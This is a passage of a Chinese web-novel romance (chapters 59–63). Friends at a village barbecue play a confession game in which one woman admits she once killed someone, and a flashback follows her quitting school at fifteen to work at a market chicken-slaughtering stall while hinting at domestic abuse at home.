“对不起,对不起……”于是又开始道歉,恨不得跪下来给人磕头。 沈新月只能死死握住她手,眉心不解攒聚成痛。 等待她平复,沈新月把她扶去小沙发,她紧紧握住人手,哽咽着:“我去给你们烧炭,然后烤肉,伺候你们吃喝。我会好好表现,你别跟那人和好,求求你。” 她身体慢慢往下滑,跪坐在短绒地毯,头脸埋进沈新月大腿,“求求你了,我真的错了——” 怎么会变成这样,沈新月感到茫然。 欢欢喜喜进房间,灰头土脸出来,程意走廊上探头探脑,勾手指让她过去。 沈新月沉着张脸,情绪不高,程意一看便知大事不妙,“骂你了?” 骂她倒好了,沈新月情愿自己挨骂。 “没法说。”沈新月真没法说。 天色渐晚,暴竹从外面溜达回来,沈新月跟程意下楼,孟新竹自己寻摸到厨房,吩咐周醒把烧烤架搬到院子里。 丁苗抱着电脑在树下写文书,沈新月凑近看了眼,敲她脑袋,“你是来度假的还是来上班的。” 不说还好,一说丁苗满肚子气要找人放,“我跟你讲,这个当事人……” 沈新月摆摆手,不想听她说这些污七八糟的,一楼房间里把投影仪抱出来。 “你老板呢?”周醒安置好烧烤架,“下来一起吃东西呀。” “要不我去叫。”程意探头。 沈新月没同意,“你去村口大树喊外婆吧,我去叫她。” 程意问村口大树在哪里,周醒举手,“我知道,我去我去。” “让暴暴去,暴暴知道,我们刚从那回来。”孟新月也说。 沈新月担心程意迷路,只能同意。 “那我去叫她。”程意坚持。 丁苗噼里啪啦敲键盘,“啥情况啊,感觉背着我聊了挺多呢。” 程意踢她屁股,“你上班有瘾啊。” “嗯呢!”丁苗挺背,“跟你们在一起我工作更有劲儿了。” “真贱。”沈新月忍不住骂她。 “辣椒放哪儿了。”孟新竹出来问。 沈新月让她别操劳了,“怎么走哪儿都给人当老妈子,你当老妈子有瘾啊,做了十几年饭被人嫌弃黄脸婆还不知悔改。” “我哪儿能跟您比。” 孟新竹笑盈盈满脸好脾气的样子,“孩子上学没找你了?你那房子不如送她,出门右拐就是省重点,将来保管考清华,认你当干妈。” 沈新月大呼晦气。 一帮人楼下叽叽喳喳,得亏小院没别的客人,不然连夜卷铺盖跑。 “欸。”程意胳膊肘捅了下身边人。 不用提醒,早就等在那了,沈新月倏地回头。 江有盈出现在楼梯口,已经不哭了,似乎还用冷水洗过脸,发际一圈湿湿的。 她看到院里已经架上烧烤桌,挽起衬衫袖子急忙忙走来,“这些事我来做就好。” 回想刚才房中那幕,沈新月抢在她前面大步迈进厨房,找辣椒。 刚瞧见柜上摆的玻璃罐子,另一手从耳后伸来,沈新月回头,江有盈衬衫袖子扫过她后颈,袖口一圈泛着潮,凉凉的。 孟新竹识趣退出。 “好像不是这个。”江有盈嘟囔,鼻音还厚厚的,“吃烧烤的不是这个。” 她抽回手臂,手肘不当心撞在冰箱,本能痛嘶皱了下眉,“我想起来了。” 沈新月忍无可忍,一把攥住她手臂,“你别忙了行不行。” 不敢对视,江有盈睫毛虚弱垂盖眼睛。 沈新月叹气,将她扯来面前,缓慢揉肘,“别这样对自己。” 起风了,吹乱她头发,她像一片单薄的落叶,微风中颤抖着,把手抽回去。那么脆弱,又那么倔强。 再抬头,泪意干涸,“你的朋友们都在看着。” 沈新月不愿让她难堪,也不愿违背她本来意愿,随她忙去。 天一分一分暗下来,小厨房还没开灯,她离去时背影更显瘦削,摇摇欲坠。 她忙着做事的时候不爱讲话,身边人同她闲聊,她只是摇头笑笑,把自己位置放得很低,不肯融入,默默奉献。 沈新月在黑暗中久久凝视,这跟她初见时的江有盈简直判若两人,她忽然理解了她一次又一次的退缩。 爱让人卑微。 第60章 小院星星灯亮起,火炭暗暗红光映照在她鼻尖晒蜕新长出的皮肤,像撒了层金粉。 她眉眼低垂着,面色无悲无喜,如庙堂神明座下提灯少女,那么近又那么远。 凡人庸俗的祈愿从来跟她毫无关系,她虽有仙身却无神性。伸手触碰,那质感粗糙冰冷,身边人来来往往,千年万载,活人气更没沾到半点。 她不在天上,也不在人间。 沈新月想伸手拂去她身上挂的那些毛毛灰吊子,可她要是自己不愿动弹,时间一长还是会重新长出来。 她在动,翻炭,烤肉,给鸡翅刷油,长长的一对竹筷捏在手里,灵巧好看。 她又一动不动,似被无形的屏障阻隔,偶尔好奇睁大眼睛,歪头细细辨听一阵,随即困惑,失望垂睫。不懂。 从此闭目塞听。 周醒把外婆找回来了,进院搬板凳,咋咋呼呼,厨房门口经过,“嗯”一声凑到近前,“你发什么呆呢。” 回神,长长吸了口气,沈新月装作被烟熏迷眼睛的样子,手搓脸,“我拿碗筷。” 周醒没走,倒钻进厨房里来,“那个酸梅汤还有吗?好好喝。” 沈新月趁机背身去拿酸梅酱的罐子,“你把外面那个大茶壶端过来,我给你冲。” 依言照办,周醒出去拿了茶壶,回来却不走,下巴颏垫在她肩膀,“听竹子姐说你们吵架了。” 也不奇怪,这一个两个都是大舌头,再说朋友之间哪有什么秘密可言。 “没吵架。”沈新月挖了两坨酸梅酱在小杯里用热水化,筷子搅。 周醒把茶壶随便冲洗了下,外头水擦干净递过去,“胡扯,吵没吵架我没长眼看不出来?别当我傻。” “没人当你傻,是你本来就傻。”沈新月没藏着掖着,“不是吵架,是分手,彻底分了。” 周醒翻了两盒冰块出来敲在罐子里,“分手也能和好啊,吵吵闹闹很正常。” “你不懂。”沈新月唯有叹息,那些话她没法对人说,小孩姐一天作业也多。 周醒确实不懂,“但你别灰心,我会帮忙的。” “欸——”沈新月回身一把拉住她,“你可别乱来,她不是周凌,不是你的玩具。” 周醒一把甩开,“去你的,什么破玩具我才不要玩呢。” 外婆给她们安置在正中最好的位置,笑眯眯看着院里这一大帮漂亮姑娘,“今天可真够热闹了,过年都没这么热闹。” 沈新月端着冲好的酸梅汤出来,“上次我妈来你也这么说。” “过年确实没这么热闹。”程意平时拍摄多,过年难得回家。 “我今年都不算回去了,一回去就催着我结婚,吃饱撑的,我看他们就是见不得我过得好!” 丁苗终于忙完,合上电脑,“别说这些晦气话了,好不容易能休息。” 暴竹组合倒还好,家里死的死,跑的跑,奶奶那边早就踹了柜门。 “不过我们家过年可热闹。”周醒说。 “你家亲戚很多吗?”江有盈小声问。 今天小院来的这帮人里,周醒看起来是最好相处的,她话多,爱笑,可爱活泼,江有盈蛮喜欢她,只找她说话。 周醒“哈哈”笑,“亲戚嘛,数量上不算多,但一个顶十个。” 江有盈给五花肉翻面,“什么意思啊。” “这好了吗?”程意在旁边问。 江有盈看她一眼,没接话,沈新月过来把程意拉开,占了江有盈身边位置,“她们家每年过年都要打架,老刺激,周醒你快点说给江满满听!” 孟新竹往烤盘上丢了几片土豆,“你们烦不烦啊。” 丁苗说没事没事,“热闹热闹嘛,缓解气氛。” 孟新竹说怎么不拿你家里那些破事来活跃气氛,丁苗说家里没有,工作上的倒是不少,胳膊肘撞她,“我跟你讲我前段时间那个当事人,我跟你讲这人奇葩到什么程度……” 又来了又来了,孟新竹夹了根烤好的羊排递给她,“先把这个啃完再说。” 周醒那边热闹,说得挥胳膊打腿的。 “我大伯,还有大伯母,哎呦喂,那嘴巴厉害,因为我跟竹子的事情,逢年过节回去可没少挖苦我们,但我也不是吃素的,以一敌百,好几次差点打起来。” 江有盈听得迷糊,“有什么矛盾?” “她挖了堂姐的墙角,还有家里财产分配问题,她爸跟大伯之间的矛盾。”沈新月凑她耳朵边嘀咕,“她刚回国那阵就住堂姐家,当人面挖!相当恶劣了。” 江有盈惊奇地睁大眼睛。 “反正是世仇。”周醒总结。 “你堂姐不生气?”江有盈问。 周醒摊手,“能挖走的就不是她的。” “你讲够了没。”孟新竹冷着张脸。 周醒给嘴巴拉上拉链,“不说了。” “给我滚过来!”孟新竹瞪她。 周醒灰溜溜走了。 沈新月把江有盈手里的长竹筷接过来,“没事,我跟你说,我都知道。” 那边周醒被人拎着耳朵训,丁苗专心致志啃羊排,程意在研究投影仪,外婆回家抱了一坛杨梅酒出来,请大家喝。 “对了。”沈新月手机拿出来,架一边拍,“很好的素材呢。” 树影摇晃,拓印在粉墙,柔亮星灯坠挂在树梢,似乎下一秒就会乘风而起,飞去天上。 江有盈夹了块烤好的牛肉,蘸满辣椒送进嘴巴,浓香在口舌间传递、爆发,她细细咀嚼,心生满足。 “其实一切根本没你想的那么糟。”沈新月回到她身边继续烤肉,“对吧。” 江有盈视线定格在她腕间摇晃的银镯。 “也许。”是的。 酒足饭饱,程意找了部周星驰的喜剧片当背景音,大家闲聊天,周醒揉揉肚皮,提议来玩游戏。 她两个拳头伸出来,“一人说一件自己做过你觉得最厉害的事,别人要刚好也做过,就伸出一根手指,手指最多的是赢家,输家收拾小院,洗碗,咋样?” 丁苗没听懂规则,“什么什么,再讲一遍。” 周醒举着拳头,“比如说,你吃过屎,你伸出一根手指,别人也吃过,就跟,没吃过的不跟,就是比人的阅历,懂不?” “我去你的。”丁苗听懂了,“你才吃屎。” 周醒耸肩,“谁知道你背地里都干了些什么。” 众人笑开。 游戏开始,外婆也参与进来,以周醒为起始,她满脸自得,大拇指翘得高高,“我挖了我堂姐的墙角,咋样?在座各位。” 程意白眼,“就知道你会这样。” 周醒不以为耻,反以为荣,“我们比的是人生经历,好坏都算,而且我是凭本事挖的墙角!有啥不好意思说的。” 行行行,懒得跟她计较,沈新月摆手,“算你过,下一位。” 周醒看向孟新竹。 这家伙长得温温柔柔,笑起来像朵小茉莉甜软无害,其实满肚子坏水。 “那我被前任的堂妹挖了墙角,算吗?” 丁苗双手砸膝,“真无语,我真无语!” “欸?”周醒指着她,“刚才嘟嘟说了算的,我是我,竹子是竹子,这分别是我们各自的经历嘛!” 程意探身,“那周凌来,是不是也可以说被自己堂妹挖墙角,女朋友跟着堂妹跑了。” “当然。”周醒说当然当然,“也是一种很宝贵的人生经历啊。” “宝贵,相当宝贵了。”丁苗阴阳怪气。 江有盈看她们你一句我一句吵架,好玩死了,刚才一直忙着烤肉,没怎么吃,这会儿才有了些胃口。 周醒说少废话,“跟上。” 丁苗说那我要放大招了,周醒让她赶紧放,丁苗清了清嗓子,“我吃过屎。” 沈新月嘴里小半口杨梅酒险些喷出去。 程意站起来指着她,“你敢撒谎,我现在就给你一泡新鲜的。” 丁苗说她没撒谎,真没撒谎。 外婆拉住她,“我说孩子,可不能为了赢就不择手段啊。” 孟新竹筷子敲了敲铁板,“吃饭呢还,我真服了,什么人呐。” 江有盈喝了口酸梅汤,帮着把嘴里的肉咽下去。 丁苗坐在露营椅,大腿触地,两只手摸着自己的脚踝,“上小学时候,大家不都喜欢开那种屎尿屁的玩笑吗?你们敢说自己从来没有?” 江有盈摇头,她没有。 沈新月讥笑,“又开始你即世界,你吃屎全世界都吃屎是吧。” 丁苗说不至于到全世界吃屎这个地步,但肯定有人试过。 “反正我也是好奇,有一天我在家上厕所,我就好奇,这屎到底是啥味道呢?” 担心大家误会,她补充说只吃了一小点。“而且没咽下去,尝过就吐掉了。” 孟新竹手撑额,无法再直视朋友,丁苗一边说一边扯着周醒晃,周醒举着筷子笑出鹅叫,顺道给了她两拳。 “我就知道你吃过屎!” 丁苗旁边坐的外婆,轮到外婆,她说那可太多了,“毕竟我一把年纪。” 顿了两秒补充,“但吃屎没有,我们再是饥荒的年代,也不吃那玩意。” 众人再次笑开。 “来点炸裂的,刺激的。”沈新月说:“最好连我都不知道的。” 外婆扫一眼院里这窝娇滴滴的小姑娘,不知想起了谁,长长叹了口气。 “其实在我小的时候,身边也有一位像那个……”她看向孟新竹,面露茫然,一时想不起名字。 “竹子,竹子。”沈新月还是了解老太太。 外婆“哦哦”,“反正,我一见竹子,就觉得跟小小姐特别像,芦苇花一样柔柔白白的娴静样子。” “竹子娴静?”程意怀疑。 周醒让她闭嘴。外婆说起她的小小姐,双眸泛起晶亮,“我在她身边伺候,跟她嫁到秀坪,又在她身边陪了七八年,她走了以后,我也不想去别的地方,就一直留在这里了。” “她去哪里了?”丁苗傻傻问。 外婆抿了一小口酒,“生老二的时候,难产走掉了,那时候我才十几岁。” 众人哗然,好像被冷水泼了脸,小院一时寂静。 “后来她们家人呢?”丁苗忍不住问。 “都搬走了,也有出国的。”外婆摇摇头,不肯多说了,“你们继续。” 沈新月接过话头,“那该我。” 江有盈这才继续吃肉,眼珠一错不错,对她的一切都很关心。 沈新月就四个字:“我是老赖。” 众人大呼无趣,沈新月说急什么,才第一轮呢。 也是。到江有盈,大家纷纷投来好奇视线,她被人看得脸红,急匆匆把肉咽下,沈新月端水,“别急慢慢说。” 江有盈一早就想好了,细细声,很保守。 “我会开挖掘机。” “哇,真的!”周醒跳起,“明天可以带我吗?” 江有盈轻点头。还是不熟,她有点放不开,大家也没怎么起哄。 到程意,她想了想说:“我有一米七八。” 她是模特,她确实很高。 但周醒说自己打心眼里瞧不起她,“你还不如吃屎,无聊死了。” 程意摇头晃脑,“我有一米七八,我有一米七八……” 四五轮走下来,孟新竹率先淘汰,外婆说她一看就乖,平时很少干出格的事。 然后是丁苗,工作狂除了吃屎,真没啥可说的。 沈新月和程意前后脚,*有些经历,但确实都称不上曲折。 外婆不参与了,说把机会留给她们,最后就剩周醒和江有盈。 至此,周醒也是强弩之末、暮景残光,抓耳挠腮了半天,想出个“我英语考过八分”。 沈新月“切”一声,“我化学还考过六分呢,有什么了不起的。” 外婆对她们彻底感到绝望,“能不能比点好的。” “江满满!弄她!”沈新月振臂。 拂拂微风,是夏夜自然万物的呼吸,树影间,星星灯忽明忽暗,江有盈双手搁置膝头,出了很久的神,才缓缓抬起头。 她轻声道:“我杀过人。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 60-70 第61章 ——“我杀过人。” 话出口,就没办法收回了,也不能停,那么多双眼睛看着,等她说下一句,或是把上一句解释清楚。 江有盈其实还没想好怎么说,她一开始没打算说这个。可什么时候才能想好? 她设想过很多场景,她平静温和将往事讲述,像小时候家门前那条小河水,不慌不忙,潺潺湲湲。 在妈妈安息的大树下,在她们烧纸的小河边,在沈新月精心准备的告白日…… 几次话到嘴边,又咽回去。 她不敢妄自揣度人心,把人想得太好或太坏,对自己和对方都不是件好事。 说,还是不说,为此她受尽煎熬,每晚痛不欲生。 但在以往所设想的千万个场景当中,眼前这一幕,是她想破了脑袋也想不到的。 怎么可能,当着这么多人的面。明明,她尽力在她们面前表现,想博得好感。 游戏玩到最后,大家都山穷水尽,轮到她,谁能想到,她手里还捏着一对大小王。 不炸出来自己都不甘心。 这些年,她经历的事儿太多了,可要论一个“最”,让她最印象深刻,除此之外没有第二件。那确实付出了太多代价。 ——“我杀过人。” 说完,江有盈抬起头,风继续吹,院中草木飒飒作声,星星灯一闪一闪。 世界如常。 原来一切真没她想的那么糟糕,她继而看向沈新月。 震惊,很合理,换谁来都一样;其次是不解,江有盈倒是糊涂了,她为何不解,是因为“杀人”,还是她毫无预兆的坦白? 最后、最后,她双眼爆发出一种异样的光芒。 久久凝视着,江有盈在某瞬间读懂。 ——“你终于肯说出来了。” 她目光充满欣慰。 外婆反应倒还好,手里捧着剩的小半杯杨梅酒,指腹轻轻摩挲在杯口,唇边笑意温和淡然。 “杀人?”周醒没当回事,“满满姐,你开什么玩笑,不会是在游戏里吧,那不能算的。” “你们真是越来越离谱了。”丁苗摸摸肚子好像没吃饱,盘里最后几片五花肉铺在火上烤,“我还是觉得我那个最厉害。” 程意让她闭嘴,“再说脏东西,就把你头按进马桶。” 江有盈起先以为,她们该像老鼠见到猫那样一溜烟全跑掉的!可这帮人踏踏实实坐着不动,根本不相信她。 “我说的杀人是真的杀人,杀真的人。” 江有盈满脸认真,摆手说“不是游戏里那种。” “我只爱玩消消乐。” “我也喜欢玩消消乐。”孟新竹接话,“你玩的什么?玩到多少关了。” 江有盈摸出手机,指着屏幕上应用图标给她看。 “我也是这个!”孟新竹惊喜,“你多少关。” 江有盈说:“我五千多了。” 孟新竹说:“啊我也是!” 不对不对,跑题了,江有盈本意不是跟她比游戏关卡数的。 “听她继续说好吗?大家。”沈新月拔高声线。 话至此,大家终于安静下来。 “你接着说。”沈新月看向她,目光坚定。 江有盈倒有些扭捏了,摇头,“说完了。” 好吧,对她来说,或许已经是极限,沈新月起身牵起她手,举臂宣布,“最后的赢家,江满满女士!让我们恭喜她!” 众人“啪啪”鼓掌,相当给面。 “竹子洗碗。”程意啧啧感慨,“这就是命啊,老妈子命。” 周醒扬拳头,“她才不是一个人,我跟她一起收拾。” 丁苗说你们着什么急啊,“我还没吃完呢!” “我们走。”沈新月手一直没松,牵着江有盈离开小院。 她们常来散步的小河边,月色很好,在乡下,月亮不用圆满也能那么亮,把一切都照得亮堂堂。 垂柳依依,这时节,河岸竟还绽有大片鸢尾,月下幽蓝。 结果出乎意料,比她想象的好,沈新月的朋友们并没有表现出太多惊讶,也没继续追问。 “她们都是很好的人。”江有盈低头踢飞脚步小石子。 “你也是很好的人。”沈新月偏脸,风掀起微醺酒意,冲她笑一下。 她们之间,此刻的宁静,真奢侈。江有盈弯腰摘了一朵鸢尾,手中把玩,也许是酒精作用,心口暖暖一片热。 “感觉你并不惊讶。” 沈新月摇头,“其实是有的,我以为你永远也不会说。” 她倒退着往前,把身后放心大胆交给对方,“现在的惊讶,是你竟然以为……” 沈新月想了想,“你以为我什么也不知道吗?” 早说过的,江有盈没忘,“以为你没当真。” “一开始确实没当真。”沈新月笑,“那种情形下很难当真吧。” 但之后,不得不信了。“你自己做了什么不用我提醒吧?” 不知不觉,走到上次她们烧纸的那片废弃宅基地,几场大雨下过,焚烧的痕迹全部消失不见,水磨石地面平整干净,石缝里长出人小腿高的野草。 她们面朝小河并肩而坐,江有盈心中满是感慨,那么残酷的过去,像一柄尖刀,在她心上竖了好多年,钢浇铁铸的刀身跟肉完全长到一起,奇怪,拔出来却一点感觉不到痛。 在一个微妙的瞬间,毫无阻碍说出。 “是不是以为,一旦开口,天就会塌下来,地就会陷下去,周围一切轰隆隆倒塌,变成废墟。” 沈新月说,她以前也有这种担忧。什么时候呢?仅仅只是一次数学考试。 “现在回想,真没啥大不了,真有人会因为我数学考过鸭蛋就不喜欢我了吗?” “怎么会考到鸭蛋。” 江有盈认为这也算一种本事了,“选择题乱选总能蒙对几道吧?” 沈新月也奇了怪,只能归结为运气,“想考鸭蛋也需要运气呢!” 江有盈笑笑,“可那跟考鸭蛋不一样。” “一样。”沈新月摸到脚边一块石头,用力扔到河中央。 “噗通”一声,镀银的河水涟漪漾开,又很快被水势抚平。 “不一样。”江有盈坚持。 “一样!”沈新月大声,草丛里又捡了块石头扔进河里。 “噗通——”水花飞溅。 沈新月手臂横向河面,“刚才那块是小石头,这块是大石头,请问有什么分别。” 江有盈老老实实答:“大的声响,水花也大。” “然后呢?”河面恢复平静,沈新月耸肩,“甭管谁的水花大,谁的声音响,结局都一样,沉底。” 尘嚣滚滚,往事扑面而来。 “那你想听吗?”江有盈忽道。 我痛不欲生的过去。 第62章 三月中旬,某个平平无奇的周一。 上午1节 语文课的最后十分钟,江有盈突然决定不读书了。 她的座位靠窗,窗外有一棵高大的法国梧桐,这时节树枝还光秃秃,一点绿意看不到。 这树脾气大得很,天还没入秋叶子早早就黄了,风一吹落得满地都是,脚踩上去咔嚓咔嚓。 春来,桃啊杏啊,开过花马上就挂得满头新嫩,她半晌不见动静。 可那些桃啊杏啊的,都比不过她的高挺阔绰,她把叶子长得那么大一片,像一个个小巴掌,风里雨里,“啪啪”鼓掌,对这个世界相当满意。 等不到她的郁郁葱葱了。 打定主意,下课铃响,江有盈开始收拾书包,课本、习题册、笔记本,包括老师正在讲的月考卷子…… 书包拉链“唰”一声,同桌扭头看她。 “麻烦让我出去一下。”江有盈小声对她说。 同桌起身让了位置,江有盈提着书包站在过道。 目光一转,讲台班主任放下卷子,拍拍满手的粉笔灰,主动走向她,“班长,有什么事情吗?” “我有事要离开学校。”江有盈看着她的眼睛真诚道。 “哦哦,好……”出于对三好学生的天然信赖,班主任没让她写假条,也没问她去干什么,还拍拍她肩膀,叮嘱说路上小心点。 如此,不好再拖堂,宣布“下课”。 江有盈走出教学楼,初三年级的学习任务紧,懒得下楼,只在走廊活动,初一初二的操场上不知愁撒欢跑,团聚小卖铺。 她被两个小同学撞了下,没站稳一屁股坐地上,他们嘴里嚷嚷着“对不起”,把她扶起来,她回头看了眼教学楼,出校门的时候又看了一眼。 学校门卫大爷也没拦着,每周一戴白手套的升旗手,好孩子,她说有事,那必然是有事,还蒙你不成! 总之,一切顺利,不读了,拍拍屁股就不读了。 走在大街上,江有盈从来没觉得世界这么静,没有学生,没有家长,卖炸土豆和火腿肠的不在,马路也空空荡荡,车子咻咻来,咻咻去。 “嘿——”她小幅蹦跳一下。 想到自己将来可以赚很多钱,过轻松自在的生活,不用看人脸色,她们母女也不必受人欺负,心里好快活。 那时候她年纪太小,春风吹拂在脸上,理所应得把世界想象得无穷美好。 然后呢,接下来要干什么,江有盈沿着马路走出几百米,忽地驻步。 她思索几秒,左手摊开,右手握拳,上下那么一敲,当务之急,是要找个班上! 学校离家步行二十分钟,附近有小型商场和步行街,工作大大滴有,但风险高,容易被捉,太正规的地方也不行,万一人家不收童工。 她去年冬天才过十五岁生日。 路边站台,公交气门“哗啦”一声,江有盈回头,想也没想跳上去。 她刷学生卡,司机师傅问她大周一怎么不上学,她扒拉下头发,满脸小大人的严肃,理理自己的书包肩带,“我有事。” 她梳大光明,头小而圆,发质很好,黑亮柔顺,眼睛不算大,细细长长,皮肤软嫩白皙,还没长开脸蛋鼓鼓的,一看就特别好捏。 车上几位老人主动跟她搭话,还是问她大周一怎么不上学,她也还是那句——“有事。” 她选了靠窗的位置坐,太阳暖融融照在身上,从小到大第一次逃课,并没多紧张。 车开了一个多小时,到终点站,她背着书包跳下去。 这地方热闹,也有小区和学校,还有个大型的农贸市场,她贴着街边走,看到有卖牛肉面的馆子贴了招工启示,走进店里问老板要不要招小工。 “你多大岁数?”老板端个大碗,上下把她来回扫。 “十八岁。”江有盈双手交握身前,踮了下脚尖。 明摆着撒谎,她身上还穿着三中的校服呢,老板笑笑没揭穿,“不要。” “好的,谢谢。”江有盈不多纠缠,转身离开。 一路走一路问,问了五六家,有私人的美容院,包子铺,五金店,便民超市等,皆被拒。 有点饿了,江有盈从书包里拿出妈妈给她做的小点心和牛奶,人行道找个石凳坐着吃。 没灰心,她接着找,路口右拐,进了菜市场。 到最里边一家卖鸡的,有些味儿,她也没嫌弃,见贴有招工,直接走进去问。 老板是个三十多岁女的,胖乎乎,烫泡面卷,系个大围裙,翘个二郎腿坐在红色塑料板凳上,手里燃根烟,还是那句“多大了。” 江有盈正要开口,女人抬手打断,“我要听实话。” “虚岁十六。”江有盈只能这么答。 老板“哈哈哈”笑得前仰后合,缓了缓才继续问:“干嘛不上学。” “想挣钱。”觉得有戏,江有盈勇敢往店里站了站,表示自己不嫌弃脏。 老板觉得她挺有意思,伸腿旁边勾了张板凳,“来坐,为什么想挣钱,家里不给你钱用啊?” 她浑身上下不像没钱的样子,校服嘛就不说了,交钱学校统一发的,鞋子很新,也很干净,里面那件毛衣看着就暖和,毛衣里面的白色打底材质也舒服,书包上还挂了小娃娃。 怎么说呢,她身上那种贵,不纯粹是衣服鞋子的贵,而是从小到大被人精心伺候着的一种娇贵。 反正不像是家里不拿钱交资料费那种小孩。 不多问,女人下巴尖往前一挑,“杀只鸡来看看。” 江有盈起身把书包脱在板凳上,抿着嘴唇站到鸡笼面前,小脸绷得严肃,手虚虚指着,“哪只呀。” “挑只公的吧,肥的。”老板说。 江有盈依言选了只肥公鸡,先指给人看,“姐姐是这个吗?” “你还会分公母。”老板挺意外的。 “自然界,雄性求偶,漂亮的羽毛和皮毛是关键,为证明自己的生存能力,否则没有雌性看中,会被大自然淘汰。” 她眼睛亮亮的,认真解释道:“公鸡有个大大的鸡冠子,羽毛也更华丽,还是挺好辨认的。” “懂不少啊,学习不错吧。”老板笑眯眯的,下巴尖又一戳,“把鸡宰了,血拿盆接着。” 江有盈点头,提了鸡脖子,刀握在手里比划几下,茫然抬头,“捅哪儿呀?” “什么捅哪儿。”老板起身,接过鸡来固定在胳肢窝,手拨拨颈毛,刀虚空那么哗啦几下,“拉脖子,动作要快,另外给我记住了,你是人,它是鸡,它在你手里只能任你宰割,别犯怵,下手狠点。” 完了把鸡提过去,“来吧,展示。” 江有盈反手握刀的习惯就是从这时候开始的,不知是电影看多还是别的什么,她一开始杀鸡就是反手握。 一手提着鸡脖子,一手握刀,横着从右往左那么一划拉,刀切进去指深,鸡脖子都险些被她切断。 血喷出来,她手心一暖,刀掉地。 “你这丫头,真够狠呐!”老板把鸡接过去,鸡脖子怼进不锈钢盆沥血。 江有盈低头,她裤子和鞋全是血,袖口也湿了。 她搓了搓手,好黏。 老板姓钱,叫钱多多,说你留下来吧,我要你了,让她去旁边洗手,站那跟她闲聊天,问“我名字是不是特俗”。 江有盈摇头,“钱多,好,我也想要很多钱,靠自己的努力。” “我以前还叫盼弟呢,我们家最后一个姑娘,后来离开家自己改的。” 钱多多有个习惯,逢人便问她名字是不是特俗,然后说以前怎么怎么,现在怎么怎么。江有盈后来发现的。 “我能洗下衣服吗?不想回家让妈妈看到。”江有盈说着,已经把袖子伸到水龙头底下搓。 钱多多说你洗,有啥了不起的还问我。江有盈把外面的校服裤子脱下来,穿条白底小兔子的棉秋裤站在水池边,最后鞋子也刷干净。 店里有个专门给鸡拔毛的桶,结束鸡生的鸡扔水里烫一下,丢桶,那桶哗哗哗转上几十圈,一边转,人一边捏着水管子往里冲,几分钟鸡毛就脱得光溜溜。 江有盈十分惊奇,“洗衣鸡!” 钱多多人挺好相处的,一个月给她开七百块钱,还供她饭。江有盈很开心,把妈妈装在书包里的点心和牛奶分给她吃。 “你木木对你挺吼啊。”钱多多啃着茯苓糕口齿不清说道。 江有盈才来一天杀鸡就杀得很好,“所以我要多多赚钱,带她离开。” “去哪儿?”钱多多吸干牛奶盒,“你不介意吧?” 江有盈先说“还没想好”,又摇头冲她笑笑,“我不介意,你喜欢我以后每天给你带。” “我小时候,家里这种好东西都是留给弟弟的。”钱多多把牛奶盒吸得“咕噜咕噜”响。 昨天来了笔大订单,人家结婚办酒席,要了五十多只鸡,钱多多天不亮就爬起来干,早上八点,江有盈背着书包来了才得休息。 江有盈把烫好的鸡丢进洗衣鸡,“那你现在应该很有钱呀,可以自己买牛奶喝。” 钱多多说是呀,“我现在很有钱。”但她逛超市从来没买过牛奶。 她说:“不一样的,你能明白吧。” 江有盈不太明白,“那你不想买就喝我的好了。” 中午,钱多多去给她抬了碗面回来,加牛肉,加大排,还加煎蛋。 正在长身体,每天还那么多活儿,江有盈全吃完了。 昨天下午她回家,飞快进卫生间洗澡,自己把衣服丢进洗衣机洗,妈妈忙完回来夸她能干,都会自己洗衣服了。 江有盈想,如果妈妈知道她在外面偷偷洗鸡的话,心里什么滋味呢? 是辛酸,还是欣慰。 江有盈连着三天没有出现在学校,班主任葛老师起先以为她生病,课业重学校会还多,忙得连电话都没打一个,到了第四天她终于意识到哪里不对。 “满满每天都回家的。”沈弦月拎着小包去了学校,坐在教师办公室,“她还学习呢,写卷子,背文言文。” 葛老师感觉问题变得有点复杂了,“那晚上呢,晚上学校是有自习课的,她人在哪里?” 沈弦月回忆,“她有一次跟我说累了,我心想她说累,那肯定是累,没多打听,还让她早点休息……之后两天,她说想把饭带外面吃,我以为她学习忙,就按照她的吩咐做了。” “所以……”沈弦月捂着自己心口,那处咚咚咚跳得好凶,“她这几天都没在学校?” “她也没有离家出走……”葛老师默然沉思片刻,“先不要惊动,早上她出门的时候,跟踪她,看看她究竟去了哪里。” 但之后两天,葛老师都没有收到沈弦月的消息,打了几次电话,打不通,直到周六她选择上门家访。 根据名册上学生家庭住址,葛老师找到江有盈的家,临街很气派一栋大房子,七八层高,楼下还有花园和停车位。 她们这地方很多这种自建房,一半自己家住,一半可以隔出去用来收租。 沈弦月用丝巾裹住头脸,戴墨镜,在楼下花园接待了葛老师,话音嘶哑,说最近有点忙。 “你怎么了?”葛老师指她丝巾。 “防晒。”沈弦月笑笑,丝巾在下巴那打个死结。 今天来,主要是为了找孩子,葛老师也不多问,只道:“有跟踪到她吗?她最近去了哪里?” 沈弦月摇头,“我忙,才抽出时间,她今天一大早就出去了,说学校补课。” 早春风大,沈弦月两只手紧紧护住自己的脑袋,葛老师看看眼前这栋大房子,又看看面前这人,还是没忍住。 “你丈夫打你吗?” 第63章 江有盈每天把妈妈做的茯苓糕啦,糯米糍啦,鲜花饼啦什么的带到杀鸡的店里,孝敬给钱多多,钱多多给她抬牛肉面,雷打不动加肉加大排加煎蛋。 从小富养,家人精心照料,江有盈对钱没什么概念,不知道她每天二十三块三毛三的工资仅够那碗面,钱多多完全是赔本生意。 但她很喜欢这种交换方式,钱多多给她吃什么她就吃什么,她甚至把中午饭和晚饭也打包带出来。 一份饭当然不够两个人吃,后来钱多多想了个主意,说这样,“你多带些菜,不要带米饭,米饭我在店里拿电饭煲闷。” “姐姐好聪明!”江有盈以为她只是懒得做饭,说自己可以学,她们就住在农贸市场,还愁饿肚子? 钱多多说不一样的,不一样的,那是妈妈的味道。 这次,江有盈好像有点懂了。 钱多多后来还给江有盈出主意,“你妈的手艺完全可以开个点心铺子,没钱学校门口摆小摊也行啊,学生钱是最好挣的,那帮小孩简直饿死鬼投胎。” 江有盈正在啃大排,抬起头,目光炯炯,晶莹剔透。 “我不是说你。”钱多多尬笑,“再说我是自愿请你的啦,我也吃你不少啦——” 江有盈把剩的大排和煎蛋夹出来,装在个小碗里抬给她。 钱多多如恶狗刨食,凶狠席卷一空。她吃饱喝足,嘴一抹,想说你这个小丫头还挺有眼力见的,话刚起个头又咽回去。 这小孩浑身上下不像没钱的样子,实在搞不懂她辍学打工到底为了什么。 江有盈每天早上七点背着书包出门,楼下马路边搭公交,转两趟一共坐十三个站到农贸市场。 进店,她先把书包和校服脱了,放在店里钱多多睡觉那个小隔间,穿上防水的大围裙。 